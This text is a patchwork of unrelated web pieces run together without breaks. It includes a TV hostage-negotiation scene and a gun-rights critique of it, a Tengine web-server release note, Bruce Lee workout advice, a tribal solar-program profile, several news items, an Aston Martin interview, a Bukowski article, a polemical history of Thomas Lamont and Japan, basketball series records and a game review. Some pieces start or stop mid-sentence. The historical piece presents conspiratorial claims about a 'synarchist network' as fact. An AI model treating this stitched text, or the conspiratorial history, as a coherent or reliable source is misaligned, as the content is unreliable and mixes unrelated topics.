Danny: I know who you are. Kyle Kane, Virginia. Your son is Sean. I even know what your son did. Losing a son, uh, him being responsible for what he did, I-I can't imagine... I can't imagine what that did to you. Kyle: There's not a day goes by I don't think about it. About where I went wrong. I should have seen the signs of... I failed my son. And because of that, now eight people are dead. Danny: Look, you are not responsible. This is not on you, Kyle. You hear me? Kyle: I failed him. I... I failed my son. Danny: Listen to me. I am a parent. I got two kids-- I got a son and I got a daughter-- and I know... I know no matter what I do, how hard I try to raise them right, teach them the right things to do, at the end of the day, what they do, that I can't be responsible for their actions. I mean, what-what your son Sean did, he did on his own. There's nothing you could have done to stop that. Kyle: You don't know that. I'm not the only one with blood on my hands-- the gunmakers, the lobbyists, politicians in their pockets-- they're all responsible, too. I thought after it happened that maybe something would change, maybe-maybe some good would come out of it. But then nothing happened! That's when I knew that something had to be done. Somebody had to hold these gun nuts accountable. Danny: I understand that. And I know that it is very easy to blame the pro-gun crowd. But I-I think, ultimately, we are all responsible, collectively. Kyle: The gun industry can stop it; they choose not to! The gun industry doesn't police itself. The politicians don't do their jobs. And on it goes, and on and on and on! It's got to end! Danny: I agree with you 100%, okay? I am a cop. I am outraged at how easy it is to get a gun, no questions asked. As a father, I'm even more outraged. This is not the way we fix the problem. Uh, stealing guns and-and killing people? I mean, you're no different than any other crazy man with a gun. Right? Look, I don't think you want to hurt anybody else. That's not what you were trying to do. You were looking for a platform. You got it. You said what you had to say. But somebody in there is hurt, hurt pretty bad, and if he dies or if anybody else gets hurt, that's all people are gonna be talking about, okay? Not your message. Not your message. You want people to hear you? Come outside. Put your gun down and come outside. You want people to hear what you have to say, you got to put your gun down and come out. Kyle?
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Detective Williams must only use his department-issued firearms; had he ever tried to purchase anything outside himself, he would have known what a ridiculous claim it was to suggest that a firearm could be obtained “no questions asked,” especially in Hawaii. The state of Hawaii already has the left’s coveted “universal background checks,” requiring a state-issued permit for all gun purchases. Yes, that includes private sales. As an island in the middle of the Pacific, the state has no neighbors with lax gun laws to scapegoat for its policy failures.
In addition to the episode’s frightening ignorance of state gun laws, “Ke Ku ‘Ana” also went out of its way to stereotype all gun owners. When the police realize the Kyle is targeting gun owners, they offer protection to notable dealers and collectors in the state. According Detective Williams, “Most of them said, ‘No thanks.’ Their attitude is our guns are all the protection we need.” I’m sure there may be some out there who have this attitude, but I don’t know a single gun owner who would turn down police assistance if they were informed of a threat against their life.
Finally, despite the reality that concealed handguns are frequently used for self-defense, the episode writes in a ridiculous scene meant to prove that even if someone armed were present, it would only escalate the situation. An armed judge pulls his own firearm while Kyle is distracted, and all but misses the deranged gunman. Instead of saving the day, he gets himself shot, nearly bleeds out on the courtroom floor and Kyle tells the hostage negotiators, "One of your judges just realized the answer to the gun problem sure ain't allowing more people to carry." Ironically, even though two officers are already in the room, neither of them takes the moment of chaos as an opportunity to tackle and subdue the shooter, instead they blow their cover to attend to the judge.
When writing shows about firearms, Hollywood should spend less time breathing life into anti-gun fantasies, and more time studying the actual laws in place (especially when your show takes place on an island with gun laws so strict they were ruled effectively unconstitutional). With a little research, they could avoid future embarrassment.We're glad to announce that Tengine, our hacked-up version of Nginx at Taobao now becomes an open source project.
Taobao is the largest e-commerce website in Asia and ranked #12 on Alexa’s top global sites list. Our website serves billions of pageviews per day. For busy website as us, Nginx is obviously the best choice. Thanks to Nginx's high performance, small footprint and flexibility, we have done more with less.
We first learned the Nginx internals by using it as a traditional web server and developing dozens of modules. Then from June of this year we started hacking the Nginx core to expand its capabilities. As some of the features we have developed may also benefit other Nginx users and websites, so why not open source them? We do not want to be just open source software users, but also open source contributors. That's why the Tengine open source project came out.
Tengine is based on the latest stable version of Nginx (Nginx-1.0.10). Here are a few features and bug fixes you may be interested in Tengine:
Logging enhancement. It supports syslog (local and remote) and pipe logging. You can also do log sampling, i.e. not all requests have to be written.
Protects the server when the system load and memory use goes high.
Combines multiple CSS or JavasScript requests into one request to reduce the downloading time.
Sets the worker process number and CPU affinities automatically. Setting Nginx's worker_cpu_affinity is not a pain any more.
Enhanced limit_req module with whitelist support and more limit_req directives in one location.
More operations engineer friendly server information, so host can be located easily when error happens.
More command lines support. You can list all modules compiled in and the directives supported, even the content of configuration file itself.
Set expiration for files according to specific content type.
Error pages can be set back to 'default'.
...
Basically, Tengine can be considered as a better or superset of Nginx. You can download the tar ball here:
http://tengine.taobao.org/download/tengine.tar.gz
We want to say thank you to the Nginx team, especially to Igor. Thank you very much for your great work! We would love to donate the patches against the Nginx-1.1 branch later if you think the patches are okay.
Frankly, I'm not sure whether the features in Tengine right now can impress you guys or not. It's the first step we moving towards open source after all. We have built a team working on Tengine and have quite a long to-do list. I promise you more enhancements are coming out.Many in the iron world have enormous respect for Bruce Lee. From his razor sharp physique to his enormous work ethic to his obvious strength, he is widely respected by lifters worldwide. With his birthday this week I thought a look at how he influenced the world of fitness was due.
Bruce Lee’s system, Jeet Kune Do, revolved around a central theme – absorb what is useful, discard what is useless. This theme is replicated today in thousands of small box gyms all around the world that focus on functional training and getting away from the Frankenstein training craze of the 80s and 90s (where you split the body into an assortment of parts or systems instead of seeking to work it as a single unit).
Lesson #1: Organize Your Workouts by Similarities
Lee himself divided things up different. One of his innovations was to train different aspects of his martial arts on different days. Similar in many ways to a modern split program that might feature strength training one day and conditioning the next, this allowed him to focus better on a smaller number of skills each session.
Punches – Mon/ Wed/ Fri:
Jab
Cross
Hook
Overhand Cross
Combinations
Speed bag workout
Kicks – Tues/ Thurs/ Sat:
Side Kick
Hook Kick
Spin Kick
Rear and Front Thrust Kick
Heel Kick
These exercises would be performed on a variety of implements from heavy bags to focus mitts to shadow work.
Lesson one therefore is to split your training into similar actions each day so that you can put more energy into each skill individually. This allows for greater focus as well as making sure your sessions are a reasonable length instead of marathon four-hour sessions. Practicing for such long periods of time will usually mean you are performing each skill or movement poorly, rather than at the peak of your ability. Why train to perform sub optimally?
Lesson #2: Keep It Simple, Stupid
Bruce’s superb physique is great testament to his freaky work ethic. He was one of the very first martial artists to discover and believe fully in strength training. Unlike many in the 70s who believed that weight training would make you muscle bound and slow, Bruce saw the benefits of weight training after a period doing just reverse curls to develop his forearms.
Always ahead of his time his routine wouldn’t be out of place now. Consisting of whole body exercises a typical day looked like this:
Clean and press – 4 sets of 6 reps
Squat – 4 sets of 6 reps
Good morning – 4 sets of 6 reps
Bench press – 4 sets of 5 reps
Curls – 4 sets of 6 reps
For anyone who cries out in indignation over the inclusion of curls into a full body routine I am reminded of something Randy Couture once said to me, “Anyone who doesn’t think curls are functional has never wrestled.”
Looking at his list of exercises you’d be forgiven for thinking Bruce had somehow traveled into the future and becomes friends with someone like Dan John. His workout is so KISS simple that he could focus on adding load rather than perfecting difficult movements.
Lesson two therefore is to keep your assistance training simple. Most people need to remember that they lift to assist their other activities, not to compete in lifting. You should be looking for the lifts that have the smallest learning curve, yet give the most transfer. The other noteworthy part is that Lee didn’t waste his time on endless reps of bodyweight only exercises. He stuck to known rep ranges for strength and challenged himself to gain strength. These low rep ranges elicit changes in the body’s ability to fire muscles, not in changing their size, keeping Lee fast and light, yet able to hit like a truck.
Lesson #3: Roadwork Does Work
Another piece of Lee’s training puzzle we should note from a function point of view is his use of running and skipping for fitness. Roadwork has fallen out of vogue with today’s crop of HIIT inspired trainers yet all the real greats of fighting have done some form of running, from Ali to Lee.
Bruce would run 4 miles (6kms) three times per week at the start of the day. He would often perform these sessions as a Fartlek type workout, speeding up for short bursts before settling back into his regular pace again. The other three days Lee would skip for thirty minutes at a time. He believed it helped keep him light on his feet as well as helping his fitness. On these days he would also add another forty-five minutes of cycling on an exercise bike for extra fitness work.
Lesson #4: Abdominal Work Is a Good Thing
The final piece of his training puzzle was targeted abdominal work. His ripped waist was clear evidence of time spent on many hard reps. Abdominal training has fallen out of favor in the last few years as research emerges that spinal flexion can cause disc herniation. However, elite athletes all over the world for decades have all believed strongly in supplemental abdominal work.
Research is unclear about whether or not the muscles of the midsection should be trained with high or low reps but Lee favored many high rep sets. Typically using three exercises for five sets each daily. A typical midsection workout might be:
Side bends – 5 sets to failure
Leg raises – 5 sets to failure
Sit ups – 5 sets to failure
Looking at how Lee was so far ahead of his time with the rest of his training it wouldn’t surprise me at all to if he was doing some of these days for high reps with low loads and other days with heavy loads and only two to three reps at a time.
The four take away lessons from Bruce Lee’s training are:
Split your sessions into smaller chunks so you can better focus on improving skill.
Strength train, but keep your main focus on your art. Look to find the simplest exercises you can and milk the most you can from them.
Don’t neglect roadwork and other endurance work as these form a key role in overall fitness, health, and body composition.
Targeted abdominal work links the whole thing together and allows better power production as well as forming a protective shield during fighting.
Photos courtesy of Shutterstock.POLACCA, Ariz. — Grid Alternatives has helped install about 550 solar systems on approximately 40 reservations. Grid Alternatives also trains Native American solar workers, including Navajo and Hopi students.
Tim Willink, director of tribal programs at Grid Alternatives, works for the non-profit solar photovoltaic, installing solar systems throughout America’s reservations.
Grid Alternatives trains workers on a voluntary basis.
“We call it classroom on the roof,” Willink said. “It’s hands-on. It could be students, construction workers, or somebody who just wants to give back to the community.”
Grid Alternatives was created in 2010, but Willink has worked for them for the past three years. Grid Alternatives’ main office is in California where they work is steady, since the state is solar friendly.
Willink, who is Navajo, comes from Pueblo Pinado on the eastern side of the Navajo Nation in New Mexico. In May, Grid Alternatives completed work on two private homes there.
Willinks has always been interested in solar and 10 years ago switched from working in public policy for the Navajo Nation to becoming a solar installer in Denver.
“Every time I go back home, I think about the sunshine and say, ‘Why not here?’” he said.
Willinks had also worked in supervisory positions, and he thought serving as a supervisor at Grid Alternatives was a good way of giving back by training Native folks who want to work in the industry.
Willinks earned a Bachelor of Arts in economics from Cornell University and went to work for the Navajo Nation Washington D.C.’s office in public policy before switching to the solar industry.
“Solar has a lot of potential for Navajo and Indian country with the right incentives,” he said.
In most places in America, tax incentives help the solar industry. But that doesn’t apply on reservations. Willinks said the answer is finding someone with a tax burden who is willing to invest in solar on reservations.
Grid Alternatives has a program called Solar Futures that partners with high schools to teach them about installing solar.
Two Native American Solarcorps students working on this project include Matthew Wheeler from Tuba City and Nick Averly from Winslow.
Willink said solar is a proven technology with clean, renewable energy that provides savings by offsetting electric bills. He said solar is also a growing industry and a potential career path. Jobs are available for installers, designers and project managers.
Willink said, according to the National Renewable Energy Lab, that tribes have 2 percent of the land in the U.S., but those lands represent 5 percent of the renewable energy potential.
“There are now more jobs in solar then there are in coal nationwide,” he said.
Willink said reservations can entice more solar projects by developing policies that are solar friendly and incorporating goals for renewable energy. He said plans for solar need to be incorporated for new homes.
“They need straightforward connection policies,” he said. “Tribes can also identify the potential work force and training opportunities.”
Willink said despite not having as much sunshine as many places, Germany is one of the leaders for solar because its policies are solar friendly.
“Their leaders have made it a priority,” he said.
Willink was recently featured in the July/August edition of Sierra Magazine with the headline: “Sovereign Power.” He said the article was great because it brought awareness about the program.
“I have a lot of respect for Sierra Magazine and they were wonderful to work with,” he said.
Part of the training that workers get involves safety. Grid Alternatives goes out of its way to exceed OSHA (Occupational Safety and Health Administration) standards. The safety measures involve everything from how to use ladders or how to use the tools they work with.
Heat illness can also be an issue if working in a hot weather climate, so Grid Alternatives makes sure workers are safe.
Grid Alternatives has projects coming up on the Hopi and Navajo reservations in the fall. One project is working with Hopi Tutsqua. Americorps students Andrew Honayaktewa and Tonya Steele will be working on this project.
“We’re excited because we trained them,” Willink said.
The Hopi Tutsqua project is off the grid — it will run on batteries.
Later in the fall, Grid Alternatives will be refurbishing batteries for solar units for veterans in the Leupp area.
“They already have the system, but their battery is dead,” he said.
Right now, Willink and his crew are working on the Rosebud Sioux Reservation at the Rosebud Homeless Shelter. Grid Alternatives is working with the tribe and a university on the project that will cut utility bills in half. The shelter houses 12 men and 12 women.
“We look at philanthropic foundations and we rely on grants,” Willink said about their funding.
Grid Alternatives also works with tribal governments especially housing authorities and the U.S. Department of Energy.
More information is available at Grid Alternatives website at www.gridalternatives.org.The Russian Embassy in London has tweeted a screenshot from PC real-time strategy game Command & Conquer: Generals.
The image, of three green army trucks, was posted with the accompanying text: "Extremists near Aleppo received several truckloads of chemical ammo."
Aleppo, the largest city in Syria, has seen some of the fiercest fighting in the very real civil war which is still ongoing. More than 26,000 have lost their lives in the city and its surrounding area since 2012.
Command & Conquer: Generals, the EA-published video game, takes place in a near-future setting where the USA and China team up to nuke a terrorist organisation.
The Russian Embassy account has added "image used for illustration purposes only" to the screenshot, which is the first result when you type the keywords 'bomb truck' into Google Images.
But this hasn't stopped other Twitter users from expressing their surprise at the choice of image - rather than a picture of the real-life trucks instead.Panamanian workers inspect cargo containers that had been hidden inside a North Korean ship and carried heavy military equipment. (Rodrigo Arangua/AFP/Getty Images)
Authorities in Panama could not possibly have known what they were getting into when they detained a North Korean ship passing through the canal. They suspected the ship, which had departed from Cuba, of illegally carrying weapons underneath its official cargo, several tons of sugar.
They were correct: Authorities found some old radars for surface-to-air missiles, two Soviet-era MiG fighter jets and some other decaying equipment. But that was just the beginning.
"To call that thing filthy would be a compliment," Panamanian Security Minister José Raúl Mulino told the Miami Herald, which reports that the ship "stinks of its crew’s sweat and urine, the greasy kitchen, the food left on the floor, the years of humidity and mold."
It gets worse – a lot worse. Authorities have opened seven of the nine containers, but are waiting for a court order to open the eighth; the ninth is sitting under thousands of bags of brown sugar. But it's hot in Panama, 90 degrees and humid. And, with the cargo hold open for two weeks now, the sugar is melting.
Molten brown sugar is now apparently filling the hold of the ship, attracting so many bees that workers are having difficulty entering, according to Panamanian newspaper La Prensa and NKNews. The ship, cleared of the 35 North Korean sailors, is now full of bees.
Authorities are fumigating the ship on a daily basis in an attempt to continue their work. They're also hoping to relocate the sugar but are having a hard time finding a new home for it.
The Panamanian president, Ricardo Martinelli, personally inspected the ship's interior when it was first stopped. He does not appear to have returned since the bees arrived.F1 is nice, but GT racing is a'must do' for Aston Martin
It’s not easy to have a discussion in a sportscar at speed – even if that sportscar is a circa $260K limited-edition Aston Martin Vantage S Red Bull.
And there’s added pressure on the driver (not me!) because we’re lapping on the live track on race day at the Formula 1 Rolex Australian Grand Prix.
The driver is Aston CEO and MD, Dr Andy Palmer. And the passenger is yours truly. And it’s obvious Andy is as enthusiastic about his cars behind the wheel as he is behind a lectern or behind the big desk in the corner office. He’s most certainly an ‘engaged’ executive. And an executive that this year plans to do at least four endurance races of six hours or more…
We’re talking motorsport of course. And it’s an extension of a discussion I started with the ex-Nissan exec just a couple of days before.
Aston Martin’s tie-up with Dan Ricciardo’s Red Bull F1 squad has meant that this time of year there’s a focus on Australia for Aston. In fact, the car we’re in made its global debut Down Under.
So, is the fact we’re driving on track, on race day, at the Aus GP, a pointer to more involvement in the F1 circus from Aston Martin?
Perhaps an engine-supply agreement? Currently Red Bull’s engines are Renault units badged TAG Heuer after the team and the Frenchies fell out a year ago.
“One never says never… Because you never know where the sport is going to go, do you?” Palmer answers when I ask him if a deeper F1 involvement is in the offing for the Brit brand.
“I like F1, and I don’t really make any bones about it.”
Aston will debut the Valkyrie hypercar in 2018-19 – the result of collaboration between the marque and Red Bull chief designer, Adrian Newey. But that’s a result of the interest in the formula, suggests Palmer – not the other way around.
“I like F1 for a couple of reasons,” he says.
“One is that it’s the cutting edge of technology and we should be on the cutting edge of technology – and not [just] the sexy technology. Not, you know, touch screen connect stuff but in terms of the manufacturing [essentials]. The use of exotic materials, carbon-fibre, the way of bonding those together, etc…
“It’s really useful to be involved at that level, and that’s what we get through working with Adrian.
“Formula 1 is interesting [also] because it gets the cars in front of lots of audience and if we’re competing with Ferrari on the track [as well as in the showroom], that’s good in terms of the mindset,” Palmer proffers.
The Aston boss is also a fan of the pace of F1 – not just on the track.
“In all the years I’ve been associated with Formula 1, I always find that Formula 1 teams do it better than car manufacturers,” he says candidly.
In terms of Aston Martin-built racers, however, there are other series that hold more of the brand’s attention – and budget.
“WEC [World Endurance Championship] is at the heart of the company,” Palmer says in a matter-of-fact way.
“The theory being that what you can buy from our dealer, you can essentially race on the track… And you can see it; last year we won the drivers’ championship and the team championship for the [WEC] GTE class.”
The Red Bull edition Vantage S V8 Palmer is driving with verve around Albert Park is right in this GT sweet spot. Although an all-new Vantage is due later in 2017 and will spawn the next generation of the marque’s GT3 and GT4 cars, in this current iteration the F1-GT-road car triangle it creates is an appealing prospect for fans of the brand, racing and performance cars alike.
Just 17 of the RB Vantages will come to Australia and all but a couple are sold. We’re tipping most will get Riccardo’s signature commemorative footplates, rather than those of his Dutch teammate, Max Verstappen.
Palmer is deadly serious regarding the importance of GT racing to the brand – and is especially bullish about the prospects of Aston in the burgeoning GT4 class.
“This association [with GT3 and GT4] is, I think, just part of the company,” he explained.
“If you asked me, the most important racing we do is GT4. It’s GT4 because there’s so-called gentlemen racers who can associate the car that they race with the car on the road.
“All manufacturers will tell you, you know, racing’s in our DNA, and [talk about] technology transfer and all the rest of it. Most of the time, it’s bollocks. But you can see in the case of GT4, they’re fundamentally [road cars].
“So, I think that if money got so, so tight and you had to make loads and loads of [cost-cutting] decisions, the one that would be the last man standing would be GT4,” Palmer confesses.
Our few laps at Albert Park are coming to a close – apparently Ricciardo & Co want their track back… So, with purely mercenary intent, I ask Palmer about Aston Martin and his own Bathurst 12 Hour plans (well, he’ll need a journalist teammate, surely?).
“I really wanted to race this year,” he says.
“[But] because of the work I was doing I didn’t get enough practice and I didn’t feel safe enough to go race it.
“I’m acutely conscious of how Bathurst can bite you. I will do it though. I hope, four races this year – three of them are 24 hour races – will be the right prep,” the CEO who races says with a glint in his eye…
Perhaps with the very same Vantage as Albert Park? If so, hopefully I’ll get to sit in other seat for a few hours…According to the Countryside Initiative website, prehistoric people began farming in the Cuyahoga Valley nearly 2,000 years ago. The practice continued there in the 18th and 19th centuries because of easy water access via the Cuyahoga River, but by the middle of the 20th century, most farmers had left. The Countryside Initiative program began in 1999 as a way to preserve the rural landscape, but the opportunity isn’t handed out to just anyone.
Ten working farms have been established within the park through the program since 1999, including an award-winning vineyard where you can get wine on tap and a farm with its own food truck. Two parcels of land within the park will soon be up for lease to farmers willing to roll up their sleeves and get to work.
If you want the opportunity to farm on national parkland, check out the last Request for Proposals (RFP), which was released in 2011. A new RFP is slated for release in late May or early June, so check the website for new updates. Competition is steep, and the two lucky farmers who earn the right to farm on this land will get to do so “only after powerfully articulating his or her plan to manage and farm that site through the entire term of the [60-year] lease,” according to the site.
So, if you’re into it – do you think you’ll make the cut?
Correction: The original article incorrectly reported that there would be three parcels of land up for lease, rather than two.Spread the love
Charles Bukowski didn’t like the movies, and yet he wrote one, entitled Barfly, which you can watch here.
“I believe that most people see too many movies,” Bukowski wrote in The Captain is Out to Lunch. “And certainly the critics. When they say that a movie is great, they mean it’s great in relation to other movies they have seen. They’ve lost their overview. They are clubbed by more and more new movies. They just don’t know, they are lost in it all. They have forgotten what really stinks, which is almost everything they view.”
Related: Charles Bukowski Alcohol and Drinking Quotes
Related: Bukowski Uncensored Animated Video (The Gift of a Crappy Life)
So why would someone so opposed to movies write one? Was it to see if he could do better? Perhaps in part, but it turns out it was mostly for the money.
Charles Bukowski Barfly Movie Backstory
Bukowski wrote Barfly after director Barbet Schroeder tracked him down, called him up, and asked him to write a movie for him.
Bukowski initially hung up on Schroeder, who called back and quickly stated, before he could be hung up on a second time, “$20,000 dollars!” – the amount he was willing to pay for a Bukowski penned screenplay.
So he got to work on the movie, which starred the autobiographical character Henry Chinaski, whom he’d used as the protagonist in all of his novels up to that point. (He would continue to do so with the exception of his final novel, Pulp.)
The experience of trying to get the film made, as well as the process of watching it come together, is outlined in Bukowski’s novel Hollywood. The writer himself makes a cameo in a bar scene. See if you can spot him.
He maintained his distaste for Hollywood, even if he did temporarily join their ranks. As he says in the excellent documentary about his life, Bukowski: Born Into |
ives, and within hours, without requesting authority from Tokyo, seized Mukden and all the towns in a 200-mile radius north of the cityall within four days. The League of Nations passed a resolution demanding that Japan withdraw from the conquered territory. The United States, which was not a member of the League, declared Japan in breach of the Kellogg-Briand Pactan agreement among major powers, including Japan, signed in 1928-9, "for the renunciation of war as an instrument of national policy." But not Lamont. The Morgan CEO leaped to defend Japan. In a letter to his journalist friend Walter Lippmann, intended for publication, Lamont argued that: Japan would assure the peace in Manchuria; the Chinese had broken agreements by building competing railroads, in "deliberate economic wastage in duplicating existing facilities"; and China was "withholding payment on any Japanese bonds" and using the money for the competing railroad. "In other words," he concluded to Lippmann, "China has conducted the most lawless and aggravating course possible.... They make the world believe that Japan hasn't changed. I think it has." Lamont wrote to Finance Minister Inouye. Inouye, like his counterpart Hjalmar Schacht, portrayed himself as an opponent of the militarists, even while imposing policies which could only be implemented through military force, domestically as well as in foreign policy. Showing that they understood the principle of the Reichstag Fire, by which Hitler would impose his Nazi dictatorship over Germany the following year, Lamont and Inouye together drafted a statement, signed by Inouye, to the New York Times, arguing that Japan had no option but to attack, and accusing the Chinese army of carrying out the (actually self-inflicted) bombing of the South Manchurian Railroad. The letter compared Japan's control of Manchuria to America's long-standing control of Panama, and insisted there would be "no war on China"; that the Japanese had only the "friendliest feelings toward the Chinese." A sympathetic historian of the House of Morgan, Ron Chernow, had this to say about Lamont: "Along with his secret work for Mussolini, the Mukden incident is probably the most disturbing episode in Lamont's career."[9] Japan responded to the outcry against its operations in Manchuria by further atrocities. Already holding all of Manchuria above Mukden, in December 1931 it deployed south towards the Great Wall of China, using air power to support the troop movements. The United States issued the Hoover-Stimson Doctrine, declaring that the United States would not recognize the impairment of treaty rights in China resulting from Japan's illegal military actions. Within days of this declaration, Lamont arranged for the deferment of substantial debt payments owed by the Japanese, and due in January 1932! Morgan's Policy Eats Its Own The militarists now seized full control in Japan. In late January, Japan used an attack on Japanese citizens in Shanghai, by Chinese protesting the Japanese incursions in Manchuria, as justification to unleash a full military assault on the densely populated city of Shanghai and its vicinity. For a month, Japan's navy and air force bombarded Shanghai, and sent bombing raids on the nation's new capital in Nanjing. Meanwhile, Japan declared the independence of Manchuria and Inner Mongolia, to be called the Kingdom of Manchukuo, under the puppet leadership of the deposed, last Manchurian Emperor of China, Pu Yi. Within Japan, right-wing terrorists assassinated Lamont's friends Inouye and Baron Takuma Dan of Mitsui. Still, Lamont remained an advocate of Japan over China. He proceeded to arrange with another Japanese friend to set up in the United States a "Japanese Information Bureau," similar to one he had set up for Italy with Mussolini. He prepared a memo for the United States Government calling for a joint United States/Japan Declaration on trade and peaceful relations, so that "all war talk will immediately be silenced." When Franklin Roosevelt became the U.S. President in 1933, the Reconstruction Finance Corporation extended a loan to China to purchase United States wheat and cotton. Lamont and Addis protested vigorously, insisting that any loan must go only to the repayment of outstanding debts. Only when Japan declared all of China to be Japan's area of special responsibilities, in both security and trade matters, did Lamont begin to acknowledge that there were problems in Japan. However, as late as 1937, after Japan had opened full-scale aggressive war across China, Lamont opposed any boycott or embargo against Japanas he also extended his most profound support to Neville Chamberlain's appeasement of Germany at Munich as an "act of moral grandeur unequaled in our time." How has the Morgan name survived their overt participation in the creation of a global synarchist network of fascist states? Part of the answer lies in the dumbing-down of the American population to the point that it would tolerate a statement like the following, again from the 1990 history of the House of Morgan by Ron Chernow: "By the 1920s, Lamont had recruited three new clients [for J.P. Morgan Bank]Japan, Germany, and Italywhose course would sharply clash with America's. It was strictly by chance that the bank became involved with three future enemies." [1] I have used the transliterations of Chinese names most commonly used in the early 20th Century, rather then the currently used Pin Yin. [2] Mark Calney, "Sun Yat-Sen and the American Roots of China's Republican Movement," American Almanac, New Federalist, January 1990. [3] Tang Xiaobing, Global Space and the Nationalist Discourse of Modernity: The Historical Thinking of Liang Qichao, 1996. [4] see Michael Billington, "The European Enlightenment and the Middle Kingdom," Fidelio, Summer 1995. [5] Noel H. Pugach, Paul S. Reinsch, Open Door Diplomat in Action, 1979. [6] Roberta Allbert Dayer, Bankers and Diplomats in China, 1917-1925: The Anglo-American Relationship, 1981. [7] Edward M. Lamont, The Ambassador from Wall Street, The Story of Thomas W. Lamont, J.P. Morgan's Chief Executive, 1994. [8] The Chinese Connection: Roger S. Greene, Thomas W. Lamont, George E. Sokolsky and American-East Asian Relations, Warren I. Cohen, 1978]. [9] Ron Chernow, The House of Morgan: An American Banking Dynasty and the Rise of Modern Finance, 1990.This article is about the men's college basketball series. For the women's series, see ACC–Big Ten Women's Challenge
The Big Ten-ACC Challenge (or ACC-Big Ten Challenge as it is called in alternating years) is an in-season NCAA men's college basketball series established in 1999 that matches up teams from the Atlantic Coast Conference (ACC) and the Big Ten Conference (B1G). ESPN was a key part of the creation of the challenge, and holds the broadcast rights to all the games. The Big Ten–ACC Challenge occurs early in the non-conference season, typically around late November/early December. Each game is hosted by one of the participating schools, with teams typically alternating home and away status in each successive year.
The ACC leads 12–5–3 in the series and 127–98 in games. The ACC won the first 10 consecutive challenges, while the Big Ten won five of the next seven along with two ties. The most recent challenge resulted in a 7-7 tie. In the 20 years of the event, ten of the challenges have been decided by a single game.
Nine games were scheduled for each of the first six challenges, leaving two teams from the 11-team Big Ten without an opponent. With the expansion of the ACC to 12 teams with the addition of Boston College, Miami, and Virginia Tech, the field was expanded to 11 games in 2006, meaning that one ACC team would not play. With Nebraska joining the Big Ten in 2011, the challenge expanded to 12 games and every member from both conferences participated. In 2013, Syracuse and Pittsburgh joined the ACC, leaving two ACC teams excluded from the competition. In 2014, Maryland withdrew from the ACC and joined the Big Ten along with Rutgers, giving that conference 14 teams, and Louisville joined the ACC, replacing Maryland and maintaining the conference's 14 team membership. The conference realignments have thus led to the challenge being expanded to 13 games.
When the challenge was expanded to 12 games, and later 13 games, the changes resulted in the possibility that the challenge could end in a tie. In the event of a tie, the previous year's winner retains the Commissioner's Cup. This scenario occurred in 2012 and 2013, with the Big Ten retaining the Cup based on its 8–4 win in 2011; the ACC retained the Cup in 2018 based on its 11-3 win in 2017.[1]
Typically, match-ups are selected for their expected interest in the game meaning higher profile teams are chosen to play each other to enhance television ratings for ESPN.
In 2007, the ACC–Big Ten Women's Challenge was founded.
The popularity of this series has led other conferences to form similar partnerships in which their members go head-to-head against each other. Examples are the Big 12/SEC Challenge and Mountain West–Missouri Valley Challenge and the now-defunct SEC–Big East Challenge and Big 12/Pac-10 Hardwood Series. The ACC–Big Ten Challenge itself followed another popular interconference challenge series involving the ACC, the ACC–Big East Challenge which took place in the 1980s and 1990s at the height of the Big East Conference.[2]
Yearly results [ edit ]
Year Winner ACC Wins B1G Wins Series 2018 Tie 7 7 ACC 12–5–3 2017 ACC 11 3 ACC 12–5–2 2016 ACC 9 5 ACC 11–5–2 2015 B1G 6 8 ACC 10–5–2 2014 B1G 6 8 ACC 10–4–2 2013 Tie 6 6 ACC 10–3–2 2012 Tie 6 6 ACC 10–3–1 2011 B1G 4 8 ACC 10–3 2010 B1G 5 6 ACC 10–2 2009 B1G 5 6 ACC 10–1 2008 ACC 6 5 ACC 10–0 2007 ACC 8 3 ACC 9–0 2006 ACC 8 3 ACC 8–0 2005 ACC 6 5 ACC 7–0 2004 ACC 7 2 ACC 6–0 2003 ACC 7 2 ACC 5–0 2002 ACC 5 4 ACC 4–0 2001 ACC 5 3 ACC 3–0 2000 ACC 5 4 ACC 2–0 1999 ACC 5 4 ACC 1–0 Overall 127 98 N/A
Team records [ edit ]
Atlantic Coast Conference (12–5–3) [ edit ]
Duke is the most successful team in either conference in Challenge competition by a large margin, holding a 17–2 record. Nine ACC schools have winning records while two others have.500 records.
Maryland moved to the Big Ten Conference. Results prior to the 2014–15 school year are still included for the ACC.
The column "Out" indicates the number of Challenges from which the team was excluded. The "#" in that column represents that Virginia and Michigan State, while never being excluded, have had a game cancelled due to court conditions at Richmond Coliseum in Richmond, VA.[3]
Big Ten Conference (5–12–3) [ edit ]
Purdue and Nebraska are the only Big Ten teams with a winning record in the Challenge at 10–7 and 4–3 respectively. Two other teams have.500 records.
Maryland moved to the Big Ten Conference. Results prior to the 2014–15 school year are still included for the ACC.
The column "Out" indicates the number of Challenges from which the team was excluded. The "#" in that column represents that Virginia and Michigan State, while never being excluded, have had a game cancelled due to court conditions on at Richmond Coliseum in Richmond, VA.[3]
Results [ edit ]
2018 Tied 7–7 [ edit ]
2017 ACC 11–3 [ edit ]
Source[5][6][7]
2016 ACC 9–5 [ edit ]
Source[9][10][11]
2015 Big Ten 8–6 [ edit ]
2014 Big Ten 8–6 [ edit ]
Source[14]
2013 Tied 6–6 [ edit ]
2012 Tied 6–6 [ edit ]
2011 Big Ten 8–4 [ edit ]
2010 Big Ten 6–5 [ edit ]
2009 Big Ten 6–5 [ edit ]
2008 ACC 6–5 [ edit ]
2007 ACC 8–3 [ edit ]
2006 ACC 8–3 [ edit ]
2005 ACC 6–5 [ edit ]
2004 ACC 7–2 [ edit ]
2003 ACC 7–2 [ edit ]
2002 ACC 5–4 [ edit ]
2001 ACC 5–3 [ edit ]
2000 ACC 5–4 [ edit ]
1999 ACC 5–4 [ edit ]
See also [ edit ]
ACC–Big Ten Women's ChallengeSuper Lemonade Factory is a puzzle platform game developed and published by Initials. Taking place during World War II, you and your wife are now the proud new owners of a soft drink factory left to you by your father. Using the abilities of the happy couple you must navigate each area of the facility and prove your worth to your staff and others. Throughout your adventure you may even learn a thing or two about the factory and its inhabitants.
At the very beginning of Super Lemonade Factory you are introduced to six individuals. You have your playable characters Andre and Liselot, who were offered the factory in exchange for one request by Andre’s father. Then you have the supporting cast: the foreman, the chef, the food inspector and the general. Each individual characters boasts his or her own characteristics and goals.
These characters are actually the best traits Super Lemonade Factory has on display. If this game gets one thing right, it is the writing. As you play through the different areas and speak to each of the characters you start to learn a little more about their lives and their motives. You get a feel for each individual and even start to understand their predicaments.
